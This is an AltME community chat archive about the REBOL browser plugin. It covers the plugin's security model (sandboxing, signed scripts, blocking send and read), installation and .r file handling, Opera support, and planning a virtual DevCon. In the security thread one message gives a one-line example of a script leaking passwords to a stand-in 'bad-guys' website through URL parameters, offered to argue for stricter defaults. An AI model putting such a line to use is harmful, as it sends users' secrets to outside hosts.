AltME groups: search

Yes, that is a bug.

And also, such things should typically not be needed by apps. My 
usual need is for a link back to my server, and there are no restrictions.

Security is what kills or make a plugin IMHO, at least for small 
quality companies.

Regarding UI, i would always pop up the conrtol-panel, not a yes/no-requester. 
Highlight the area which is currently interesting.

Why not go with my suggestion from before (scrolled off the history, 
I'm afraid)? Don't remove network, file access, etc. by default - 
instead, restrict it with secure and bring up a security requestor 
when the applet tries it? It should be up to the user to allow these 
plugins access anyways.

I'm OK with a sandbox, as long as it is a limited one in RAM that 
gets deleted on browser shutdown.

Signed scripts may be given a sandbox though.

OK - one thing is clear now - "What would you let your worst enemy 
do with your computer?" should be a saying for Rebol plug-in .... 
now just how to represent it ...

That's why I suggested cryptographically signed scripts, that could 
be tracked to an SDK user by RT if necessary. That way, with a header 
like encap uses, you could lower the security for signed scripts. 
That way if your script does something bad, the author could be tracked 
down and sued (shot, whatever ;-)

Here's a suggestion for a SECURE enhancement: Add a new category, 
sandbox, that would refer to the sandbox directory, whereever that 
is. You could set ask permission for anonymous scripts, allow for 
signed (if specified in the header).

The main thing I would be worried about with a sandbox for anonymous 
scripts would be its potential for involving the user unwittingly 
in illegal or immoral activities that they may not approve of. I 
would rather not list such activities in a web-public group, but 
I can think of dozens of nasty possibilities right off the top of 
my head, and that's just from looing back at activities commonly 
performed by banner ads on many sites.

I'm going to take these security issues one at a time.

<<disallowing send? why? can't you just send email by java script?>>

Because it is an easy way for some bad software to leak confidential/private 
information from my machine -- gather all the stuff it can and then 
send it in an email.

Similarly, being able to *read* URLs is another way info can be leaked.....The 
server at the other end records the URL parameters, eg

    read http://www.bad-guys-website.com?passwords-dicovered=abcdef/secret123
security as weak as javascript's
 is not a good selling point

I will be using the rebol plugin probably in two ways: 1. making 
real applications as part of a subscription service. 2. making real 
applications that are paid for with ads, generally text and flash 
based ads. And when I say real applications, I basically mean doing 
things you cannot easily do in java or javascript. These ARE things 
that require trusted security, such as sending raw emails, loading 
and saving files, doing virus scans, and all the freaky stuff you 
cannot normally do using AJAX.  Quite simply the situation is that 
if you could do it with AJAX, there is no reason to use rebol--from 
the laymans point of view.

Hi guys. I was going to take the security issues one at a time, but 
Carl and I are talking about getting some kind of file location where 
I can upload a design doc for you to take a look at.

That's probably going to take a couple of weeks, though, as we've 
got some other projects ahead of security.

I'm going to gather your comments and we'll keep those in mind and 
work them into a draft plan which we'll post in the form of a design 
doc in a couple of weeks as I said.

Just wondering... since the plugin stores a local copy of (simple) 
Reblets in the sandbox, if it had a replicated data-snapshot that 
is used by the Reblet also in the sandbox, would it be possible for 
that code to be executed without a network connection... either with 
or without the browser?

Here's what I am trying to do.  I have a client that has a locked 
PC build (users can't install software).  The plugin managed to install, 
and when network connected was able to find the .r file and execute 
it off the hosting web-server.  However, say the web-server is down 
or network connectivity is unavailable, I'd like the applications 
to still be launchable so the app isn't impacted by an 'outage'.

Brock, I'm pretty sure it's possible to do that now. I killed my 
network connection and tested the plugin with a remote file that 
I had already downloaded (it was in the sandbox cache)

Volker, that may do it, I guess I will need a way to get that local 
html fine into the sandbox, though.  I don't want to install anything, 
but might be able to have the app automatically write that file to 
the local sandbox, hmmm, will try it out.

How about a html-mode in rebol? Where script can be supplied html-encoded? 
Could be nice to show source of reblet. MAybe even could run colored 
scripts.

Add a html-field which knows about this, unicode and good integration 
with formatted text.

I mean for im/export. If we can shopw pretty documents, we need something 
 to write it. About html for plugins, that  would be a little demo-feature 
to show code.

I can't wait to be able to click on a ".r" file and have it just 
pop up and go.

How does double-clicking on a r file relate to the plugin?

I think he means clicking on a link in a webpage, where the link 
is a .r file.

Just an update if you're curious what's happening with the plugin. 
We're busy working on it. That security design doc will take more 
time, don't have a ETA yet.

How does double-clicking on a r file relate to the plugin?

Yeah, I can see why this subtlety is not clear…

Let's picture 60-90 million people coming across a .r file on the 
web…
What happens right now?

Reichart, with any downloaded file, including a .swf or .pdf, the 
end-user must first have the application installed on their local 
computer. Therefore, it is the responsibility of the locally installed 
REBOL EXE to register itself as the handler for .r files.

We're working on a lot of things :)

Isn't a security document supposed to be available for comment soon?

Tell me where I'm missing it. The goal of the plugin is to provide 
an environment for REBOL apps to run within an HTML page. It has 
nothing to do with download.


This is the second time you have paraphrased what I wrote in a way 
I can't tract.



R: I can't wait to be able to click on a ".r" file and have it just 
pop up and go.
J: How does double-clicking on a r file relate to the plugin?
J: It has nothing to do with download.


I don't know why you mention double click, nor do I know what downloading 
has to do with this.


Perhaps we can get on the same page by simply answering my question… 
when someone comes across a .r file, what happens now?

Graham: Yes, it was. I apologize for the delay. We are working on 
other features first. That security doc may take a few more weeks.

Volker: Mozilla will soon include a better installation experience. 
IE 1.3.2 was released a while ago.

You have to uninstall the old version first. It's not really that 
the old plugin is still online, it's that IE doesn't check for a 
new version and just loads the old one.

Volker: That is a known bug. It will be fixed in the next release.

Reichart: What happens now? If the View EXE is installed, it launches 
and opens the .r file. If not, nothing happens.


That is the ideal scenario. I manually associated .r files to the 
View EXE, so I don't know if it does that on install or not. If not, 
that's a task for whoever owns the EXE installation. It has nothing 
to do with the plugin.

LOL! I have no idea. You might have had a very very old version.

Reichart: Actually, when I click on a .r file for download and press 
"Open", it launches View but doesn't open the file. Why? I have no 
idea. It looks like two things need to happen:

 1. Download should not trigger Open or Save -- this can be accomplished 
 by registering a MIME-Type handler upon EXE install.

 2. It should actually open the file -- maybe the EXE's not picking 
 up on the Open request for some reason.


These are legitmate issues, but they all relate to the REBOL EXE. 
I'm sorry, but it's just not my area. You'll have to pass this feedback 
along to Carl or whoever owns the Windows EXE development for R3.0.

Or maybe you mean clicking on a .r file on the local computer? Again, 
that's the responsibility of the EXE to register itself as the MIME-type 
handler.

Lets come back to my original statement "I can't wait to be able 
to click on a ".r" file and have it just pop up and go."


You seem to be getting side tracked with assumptions or something.


Q: Reichart: Actually, when I click on a .r file for download and 
press "Open", it launches View but doesn't open the file. Why? I 
have no idea. It looks like two things need to happen:


A: And what should happen, and what 60-90 people will expect to happen 
if this is to be "part of the web" is that it does exactly what Flash 
did (which is now part of FF), and most other plug-ins do, which 
is ask you if you want to install a Rebol plug in.


If the person says yes, then it does its thing, goes back to the 
original .R file, and pulls it in and runs it.


If you are a nerd, you can go screw with your settings to make it 
first ask you if you want to:
O View source 
O Run now


Q: These are legitmate issues, but they all relate to the REBOL EXE. 
I'm sorry, but it's just not my area. 
A: No, it seems this is 100% the plug-in. 


Let me ask a different "set" of questions that might make this all 
easier?


When will we all be able to click on a ".r" file (and by .r I mean 
a link that is actually a wrapper with all the crap needed to know 
what to do), and it will ask you to install the plug-in, handle all 
that crap, and it will go back and get the .r file and run it?

launches View but doesn't open the file

 here it launches, IIRc it did that immediate without me setting something 
 (now i prefer editor by  default, so cant check).

and by .r I mean a link that is actually a wrapper with all the crap 
needed to know what to do

 AFAK that is some html-markup, not *.r-created. On IE the plugin 
 installs automatically, on firefox that will come.

And plugins and mime are two things, plugins run inside the browser 
and need some marku (AFAIK), mime-types are launched by  external 
apps (rebol if the server says its application/x-rebol)

although, thinking about  it, i guess a plugin can catch mime-types 
too.

There are two distinct issues that we need to seperate:
	1. "Automatic" installation of the plugin.

 2. Detecting and running a .r file. And by ".r" file, I mean a link 
 to a REBOL source file -- NOT a wrapper page or anything else (that 
 is really HTML and not a .r file).

To simplify the issue, let me pose a scneario. Joe has a fresh copy 
of XP, no REBOL nothing. He clicks on a .r file. You want the plugin 
to install itself and open the .r file inside the browser window. 
Am I understanding your goal?

To simplify the issue, let me pose a scneario. Joe has a fresh copy 
of XP, no REBOL nothing. He clicks on a .r file. You want the plugin 
to install itself and open the .r file inside the browser window. 
Am I understanding your goal?


No, I want it wrapped.  The ".r" is simply a reference point, since 
we don't have a word for a Rebol executable script.  Want to call 
it ".rrs" (Rebol run script) or something?  Flash calls theirs SWF, 
FLV, etc.

However, I don't understand why the current approach doesn't work 
for you. Why not just make a HTML page that has the plugin OBJECT 
tag, it will download, install automatically, and then run the .r 
script.

Do you have a link to a page where I can test this now?

Davide: Agreed. That is our approach. I'm open, however, to alternative 
ideas, if there is a realistic justifiable scenario.

Josh is it possible to call rebol function from javascript ? i.e. 
expose a function "eval" so when I click an html button I can call 
a rebol function.

Can you give me a little more detail on a proposed scenario so we 
can see how compelling this is?

Do you have a link to a page where I can test this now?

Using Internet Explorer 

Init with:

var rebPlug = new ActiveXObject("Rebol.Application");
rebPlug.LaunchURL="http://site/script.r";

After use it in html something like:


<input type="button" value ="Execute" onliclick="rebPlug.eval('myrebcode 
[a b c]') />

An improved Mozilla installation experience is coming, no promises 
on when. The effort we put into this is directly determined by how 
many "novice" Mozilla users there are. Most Mozilla users tend to 
be computer-savvy, so it might not be worth the effort for a super-seamless 
install. Thoughts?

Simple installation is foremost .. that's the main reason of having 
a plugin

Being out of sync with each other can account for a lot misunderstanding..


I have but one interest, for Rebol to be a self standing usable glue 
for cool little apps on the web the same way Flash is for little 
animated vignettes.


For this to happen we HAVE to support the top 4 (IE FF SA and OP). 
 And Opera is about to GROW, and Rebol and Opera may turn out to 
be a match made in heaven.  Opera is the dominate browser of imbedded 
systems.  It will start making news in the next 4-6 months.

So, we're going to have to make a decision of whether to support 
Opera or not.....

We should actually make contact with Opera's team directly.  They 
might be just as interested in Rebol as Rebol is in them.  I do not 
know anyone there ( I do know some of the FF team).  But I was planning 
to contact Opera soonish because I'm interested in working on a relationship 
where people buy a thintop (I'm coining this word for now) which 
is a super simple laptop with maybe a 1 gig sim card for memory, 
a keyboard, LCD display for lets say $100 bucks.   Has nothing BUT 
a browser (no OS….no M$ in other words).  I imagine this shipping 
with Opera built in, and I want it pointing to Qtask out of the gate.
 

So to answer your question, I think we need to get someone at Opera 
to take interest in Rebol, and help us solve problems.

here's reply hopefully from Opera representative - 

> Hello guys,
> >

> > please what is the status of npruntime API extension? From following
> > link I can see, that Opera was part of the announcement:
> >
> > http://www.mozilla.org/projects/plugins/npruntime.html
> >
> > We would like to get Rebol working in browsers, so we are

> > investigating various browsers possibilities. It is a pity if 
Opera
> > still supports only rather arcane NS API.
> >
> > Thanks,
> > Petr



Opera version 9 supports the npruntime interface now.  Unfortunately,

it is not well tested on linux (at least), since I have not found 
any
plug-ins that use it.  Bug reports are welcome  :) 

eirik

That's a good reply. I'll have to look at that again. It's not going 
to make this next release.

Pekr, do you or anyone else have a working C++ code sample of using 
NPObject with the GetValue method? That's what was giving me problems....if 
so, please send via private msg to keep this group free for discussion.

Steve sent a black MacBook to Carl asking him to return it in a month 
with a copy of Rapple, a customized dialect on top of rebol/base 
 that will  replace  AppleScript in 10.6, cause they need a more 
powerful and user friendly glue scriptig language, now that they 
have coreData,coreGraphics,ecc..

..and webkit people are thinking that rebol would better be integreted 
like javascript is, in the browser to rescue the world from all those 
web2.0 heavy cpu/memory consuming inbrowser javascript applications...

Hi all....here's an update on what we're working on for the next 
plugin release:

 * Multiple instances -- this feature will allow you to run multiple 
 plugins side-by-side within the same IE or Mozilla process.

 * Automatic updating -- no more uninstall! (aren't we all thrilled? 
 :)). This will be the last update you will have to install manually 
 via uninstall/reinstall; future backwards-compatible updates will 
 come automatically (with user consent).

 * Smooth install on Mozilla -- FF and other Mozilla.org-based browsers 
 will have a smooth install experience similar to IE.

 * do-browser in Mozilla -- you will be able to interact with the 
 HTML page from your REBOL scripts in Mozilla browsers.

 * Last, but not least: Opera 9 support -- the plugin will be compatible 
 with Opera 9, although the install process will not be as smooth 
 as Mozilla & FF.

Maybe put a detailed bug on RAMBO and I'll mention it to him, that 
this is a problem esp. for plugin users because there's no user.r.

A little lower on the map.. Slovenia.  Do we all (viewers) login 
with devcon u/p when the conf will start?

I am not sure I will be able to make it. Some family duties aproaching. 
I wonder if there will be video-recorded session of this first virtual 
devcon? The beauty is, that we can have such devcons 4times a year, 
if we wish so ....

Going to go from 70's to the 30's in a matter of an hour or so.from 
what I understand.

Weather fronts cross each other here frequently.  We get the most 
devestating whether it seems whenever we see a front drop straight 
down from Chicago.  Those are very rare but it seems when they happen 
they leave destruction.

We had one years ago 25+ that put a foxphoto store in the middle 
of the street and didn't even spill the rolls of film from the shelves.

This was about a mile from my home:
http://wongablog.co.uk/2005/07/29/birmingham-tornado/

This DevCon is going to be a DRY RUN (meaning, "let's learn").

Oy, need to get a move on...

Chris, it would be cool to add a count down timer on the website 
though, and easy to do...

I'm working as fast as I can with the info (still have a prez to 
write too).

Sunanda, that looks like a nasty one.

Chris, your site also needs a link to the conference location, perhaps 
in the Where section.

I need: a countdown timer that sits in an external file, is invoked 
with startTimer('date and time string'); and changes the text content 
of <span id="counter">.  That is all.  Otherwise, no timer...

I need, a Schedule.

A brief rundown of REBOL resources here: http://2008.rebolconf.info/on/Learn

It's just a stripped down version of make doc.

http://rockfactory.us/rooms/room22/is exposing my password

Not to mention rejecting it when I am already lgged in at  http://2008.rebolconf.info/on/People

Do I need a second login for that 'home' page security 'JOIN CONF' 
??

Any reason not to?


If only I could figure out how to insert a carraige return after 
the image on teh front page in the reduced MakeDoc command set....

I'd think this is a better channel for the chat.....At least for 
the stuff you want published on the web.

Chris, may I suggest we set up the wiki website such that at the 
top is a given even (Name + Date) and that everything else be put 
on one big page.  

This has a lot of advantages.  This is not to say people can't put 
things on other pages, but if we do it this way, everything can be 
in one place.

You come to the Home page, then click on the event you are interestested 
in, and that is it.

There's a lot to that.  I was kind of using the DevCon '05 as a model 
(my fav so far) where all the info is knee deep on the front page 
with more detail on sub pages.

I set aside too little time for this one (not intentionally), though 
not too bad for a rush job...

Thanks to everyone who made DevCon2008 a reality.
****
A couple of follow-up points:


-- How about doing an eDevCon twice a year, whether or not there 
is a physical one too.

-- And plenty more notice so some Devolunteers can help with with 
set-up and promotion.


-- Chris's presentation would have seriously benefited from some 
sort of screen reader / whiteboard system....A camera pointing at 
the screen was not ideal.

May have slipped off on the 'Live' group, but Nick suggested a screen-capture-as-a-camera-source 
product for Linux and Windows (though I used a Mac for my presentation...)

My points:


- I enjoyed Reicharts talk. I found the format to be fine. We submit 
questions and he answers quickly.

- For future eDevCons, keep them on fixed dates (+/- a week), 2 times 
a year with pre-announcements 2 months prior to the devcon. With 
fixed dates, people will be able to adjust to "the devcon season", 
and allow presenters to make some great presentations without hiccups.
- Could RT "sponsor" a news item on rebol.com for the date?

- DevCon could also be for beginners. An expert could provide courses 
(although I don't know if that should be for free). This point may 
not be ideal to carry out in a devcon at this small scale.

Sunanda, agreed...

Basically there are for stream techs we need:

- Camera
- Computer screen
- Text
- Audio.

All of this needs to be captured.


Text is still BEST in AltME, it was designed for this, this is also 
a way to bring people into the fold.


Computer and Camera are not the same concept, since video is fine 
at 320x250 (even if stretched), while Computer needs to be exact. 
 


We still have some tweaking to do here, but this is coming together....

Instead of fixed dates, we could also adapt to presenters availability. 
ie., wait until there are a certain number of presenters, and then 
fix the date.

This is a stream from a friend of mine http://www.ustream.tv/channel/freedom-of-information-2008-az


She is using UStream to do this.  I'm going to play with this, but 
it "seems" sort of perfect for the Video part of what we are doing.
you set your "Show time" and go!


But, I will only know after I have played with the incoing, and also 
tried broadcasting, and gotten feedback from a large group.

What about registering the Virtual Devcon and the real ones and putting 
them on a YouTube channel ?

Alan, the stream has not "happened" yet.  This is a stream that "will" 
happen in the future.

In fact, this is one of my complaints of their UI.  IT does not treat 
it like a "meeting"

Janko, I used bandwidth that was unused in my FMS account (actually 
paid extra to cover possible larger attendence, but it was unnecessary). 
 An event like this could support 8x the number of people we saw 
for a total of about $30.

(A little tongue in cheek there.. don't get too wound up)

hmm, Qtask might be good name for REBOL too :-) But - that is not 
possible imo, as Qtask is legal entity, which will have its own business. 
And Qtask is also a product.

Terry, while acknowledging your tongue in cheek, this conference 
was a little last-minute and that limited the presenters somewhat 
:(

Has a date/time been proposed?